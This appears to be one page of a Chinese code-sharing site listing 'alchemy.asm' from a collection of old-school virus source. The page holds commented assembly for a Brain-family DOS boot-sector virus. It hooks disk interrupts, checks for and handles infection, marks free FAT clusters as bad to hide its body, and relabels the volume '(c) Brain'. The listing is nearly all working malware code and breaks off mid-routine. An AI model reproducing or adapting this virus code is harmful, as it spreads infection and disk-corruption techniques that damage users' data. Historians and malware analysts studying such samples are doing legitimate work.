alchemy.asm

来自「More than 800 virus code (old school) ju」· 汇编 代码 · 共 1,040 行 · 第 1/3 页

ASM
1,040
字号
failme:
		pop     si
		pop     es
		pop     ds
		jnc     noreset                 ; don't reset on success
resetdisk:
		mov     ah,0                    ; reset disk
		int     6Dh                     ; int 13h
noreset:
		pop     dx
		pop     cx
		pop     bx
		pop     ax
		cmp     cx,1
		jne     exitint13h
		cmp     dh,0
		jne     exitint13h
		cmp     cs:int13flag,1          ; already infected?
		jne     wasntinfected           ; if wasn't, go elsewhere
		mov     cx,word ptr cs:[offset readbuffer+7]
		mov     dx,word ptr cs:[offset readbuffer+5]
		mov     dl,cs:curdrive          ; otherwise, read real
		jmp     short exitint13h        ; boot sector
wasntinfected:
		cmp     cs:int13flag,2          ; successful infection?
		jne     exitint13h              ; if not, just do call
		mov     cx,cs:firstsector
		mov     dh,cs:firsthead
exitint13h:
		int     6Dh                     ; int 13h
		retf    2
		db      15 dup (0)

FATManip:                                       ; returns al as error code
		jmp     short delvedeeper
		nop
FATManipreadcounter dw      3
		db      ' (c) 1986 Brain & Amjads (pvt) Ltd'
delvedeeper:
		call    readFAT                 ; Get FAT ID byte
		mov     ax,word ptr ds:[offset readbuffer]
		cmp     ax,0FFFDh               ; is it 360K disk?
		je      is360Kdisk              ; continue if so
		mov     al,3                    ; al=3 == not good disk
		stc                             ; flag error
		retn                            ; and exit
is360Kdisk:
		mov     cx,37h
		mov     FATManipreadcounter,0   ; none found yet
checknextsector:
		call    FATentry12bit           ; get entry in FAT
		cmp     ax,0                    ; unused?
		jne     notunused
		inc     FATManipreadcounter     ; one more found unused
		cmp     FATManipreadcounter,3   ; If need more,
		jne     tryanother              ;  go there
		jmp     short markembad         ; found 3 consecutive
		nop                             ; empty sectors
notunused:
		mov     FATManipreadcounter,0   ; must start over
tryanother:
		inc     cx                      ; try next sector
		cmp     cx,163h                 ; end of disk?
		jne     checknextsector         ; if not, continue
		mov     al,1                    ; al=1 == none empty
		stc                             ; Indicate error
		retn
markembad:
		mov     dl,3                    ; 3 times
markanotherbad:
		call    markbad12bit
		dec     cx
		dec     dl
		jnz     markanotherbad
		inc     cx
		call    calc1sttrack
		call    writeFAT                ; update FAT
		mov     al,0                    ; al=0 == ok
		clc                             ; indicate success
		retn

markbad12bit:
		push    cx
		push    dx
		mov     si,offset readbuffer    ; si -> buffer
		mov     al,cl
		shr     al,1
		jc      low_12                  ; low bits
		call    clus2offset12bit
		mov     ax,[bx+si]              ; get FAT entry
		and     ax,0F000h               ; mark it bad
		or      ax,0FF7h
		jmp     short putitback         ; and put it back
		nop
low_12:
		call    clus2offset12bit
		mov     ax,[bx+si]              ; get FAT entry
		and     ax,0Fh                  ; mark it bad
		or      ax,0FF70h
putitback:
		mov     [bx+si],ax              ; replace FAT entry
		mov     word ptr ds:[400h][bx+si],ax ; in two places
		pop     dx
		pop     cx
		retn

FATentry12bit:
		push    cx
		mov     si,offset readbuffer    ; si->buffer
		mov     al,cl
		shr     al,1
; Part 3 of the virus starts here
		jc      want_high_12
		call    clus2offset12bit
		mov     ax,[bx+si]
		and     ax,0FFFh
		jmp     short exitFATentry12bit
		nop
want_high_12:
		call    clus2offset12bit        ; xxxxxxxxxxxx0000
		mov     ax,[bx+si]              ; ^^^^^^^^^^^^wanted
		and     ax,0FFF0h               ; mask wanted bits
		mov     cl,4                    ; and move to correct
		shr     ax,cl                   ; position
exitFATentry12bit:
		pop     cx
		retn

clus2offset12bit:
		push    dx
		mov     ax,3
		mul     cx
		shr     ax,1                    ; ax = cx*1.5
		mov     bx,ax
		pop     dx
		retn

readFAT:
		mov     ah,2                    ; read
		call    FAT_IO
		retn

writeFAT:
		mov     ah,3                    ; write
		call    FAT_IO
		retn

FAT_IO:
		mov     cx,4                    ; try four times
FAT_IOLoop:
		push    cx
		push    ax
		mov     ah,0                    ; reset disk
		int     6Dh                     ; int 13h
		pop     ax
		jc      tryFAT_IOagain
		mov     bx,offset readbuffer
		mov     al,4                    ; 4 sectors
		mov     dh,0                    ; head 0
		mov     dl,curdrive
		mov     cx,2                    ; sector 2
		push    ax                      ; (FAT)
		int     6Dh                     ; int 13h
		pop     ax
		jnc     exitFAT_IO
tryFAT_IOagain:
		pop     cx
		loop    FAT_IOLoop

		pop     ax
		pop     ax
		mov     al,2
		stc                             ; mark error
		retn
exitFAT_IO:
		pop     cx
		retn

calc1sttrack:
		push    cx
		sub     cx,2
		shl     cx,1                    ; 2 sectors/cluster
		add     cx,0Ch                  ; start of data area
		mov     ax,cx                   ; ax = sector
		mov     cl,12h                  ; 4096
		div     cl                      ; ax/4096 = al rem ah
		mov     byte ptr firstsector+1,al
		mov     firsthead,0
		inc     ah
		cmp     ah,9                    ; past track 9?
		jbe     notpasttrack9           ; nope, we are ok
		sub     ah,9                    ; otherwise, adjust
		mov     firsthead,1
notpasttrack9:
		mov     byte ptr firstsector,ah
		pop     cx
		retn

		db      0, 0, 0, 0, 0, 0
r_or_w_root     db      3
entrycount      dw      35h

tempsave1       dw      303h
tempsave2       dw      0EBEh
tempsave3       dw      1
tempsave4       dw      100h
		db      0E0h,0D8h, 9Dh,0D7h,0E0h, 9Fh
		db       8Dh, 98h, 9Fh, 8Eh,0E0h
		db      ' (c) ashar $'
changeroot:
		call    readroot                ; read in root directory
		jc      donotchangeroot
		push    di
		call    changevolume            ; change volume label
		pop     di
		jc      donotchangeroot
		call    writeroot               ; write back new root dir
donotchangeroot:
		retn
; The following is just garbage bytes
		db      0BBh, 9Bh, 04h,0B9h, 0Bh
		db      0,8Ah,7,0F6h,0D8h,88h,4,46h,43h
		db      0E2h,0F6h,0B0h,8,88h,4,0F8h,0C3h
		db      0C6h, 06h

changevolume:
		mov     entrycount,6Ch
		mov     si,offset readbuffer+40h; 3nd dir entry
		mov     tempsave1,dx
		mov     ax,entrycount           ; 6Ch
		shr     ax,1
		mov     tempsave3,ax            ; 36h
		shr     ax,1
		mov     tempsave2,ax            ; 1Bh
		xchg    ax,cx
		and     cl,43h                  ; cx = 3
		mov     di,tempsave2
		add     di,1E3h                 ; di = 01FE
findlabel:
		mov     al,[si]
		cmp     al,0
		je      dolabel                 ; no mo entries
		mov     al,[si+0Bh]             ; attribute byte
		and     al,8                    ; volume label?
		cmp     al,8                    ; yes?
		je      dolabel                 ; then change it!
		add     si,20h                  ; go to next directory entry
		dec     entrycount
		jnz     findlabel               ; loop back
		stc                             ; Error!
		retn
		db      8Bh
dolabel:
		mov     bx,[di]                 ; offset a_data
		xor     bx,tempsave3            ; bx = 53Ah
		mov     tempsave3,si            ; si->direntry
		cli
		mov     ax,ss
		mov     tempsave1,ax
		mov     tempsave2,sp
		mov     ax,cs
		mov     ss,ax
		mov     sp,tempsave3
		add     sp,0Ch                  ;->reserved area
		mov     cl,51h
		add     dx,444Ch
		mov     di,2555h
		mov     cx,0C03h
		repe    cmpsw
		mov     ax,0B46h
		mov     cx,3
		rol     ax,cl                   ; ax = 5A30h
		mov     tempsave3,ax
		mov     cx,5
		mov     dx,8
		sub     tempsave3,5210h         ; 820h
		push    tempsave3               ; store attributes/reserved
; I haven't commented the remainder of this procedure.
; It basically changes the volume label to read "(c) Brain"

; Comment mode OFF

dowhatever:
		mov     ah,[bx]                 ; 5a3h
		inc     bx
		mov     dl,ah
		shl     dl,1
		jc      dowhatever
searchstuff:
		mov     dl,[bx]                 ; dl=C2h
		inc     bx                      ; bx=53Eh
		mov     al,dl
		shl     dl,1
		jc      searchstuff
		add     ax,1D1Dh
		push    ax
		inc     tempsave3
		db       73h, 01h               ; jnc $+3
		db      0EAh,0E2h,0E1h, 8Bh, 26h; jmp 268B:E1E2
		xchg    bp,ax
		add     al,0A1h
		xchg    bx,ax
		add     al,8Eh
		sar     bl,1
		add     dh,[bp+si]
		clc
		ret
		;db       95h, 04h,0A1h, 93h, 04h, 8Eh
		;db      0D0h,0FBh, 02h, 32h,0F8h,0C3h

; Comment mode ON

readroot:
		mov     r_or_w_root,2           ; set action code
		jmp     short do_rw_root        ; easier to do w/
		nop                             ; mov ah, 2
writeroot:
		mov     r_or_w_root,3
		jmp     short do_rw_root        ; this is somewhat useless
		nop
do_rw_root:
		mov     dh,0                    ; head 0
		mov     dl,curdrive
		mov     cx,6                    ; sector 6
		mov     ah,r_or_w_root
		mov     al,4                    ; 4 sectors
		mov     bx,offset readbuffer
		call    doint13h
		jc      exit_rw_root            ; quit on error
		mov     cx,1
		mov     dh,1                    ; head 1
		mov     ah,r_or_w_root
		mov     al,3
		add     bx,800h
		call    doint13h

exit_rw_root:
		retn

doint13h:
		mov     tempsave1,ax
		mov     tempsave2,bx
		mov     tempsave3,cx
		mov     tempsave4,dx
		mov     cx,4

doint13hloop:

⌨️ 快捷键说明

复制代码Ctrl + C
搜索代码Ctrl + F
全屏模式F11
增大字号Ctrl + =
减小字号Ctrl + -
显示快捷键?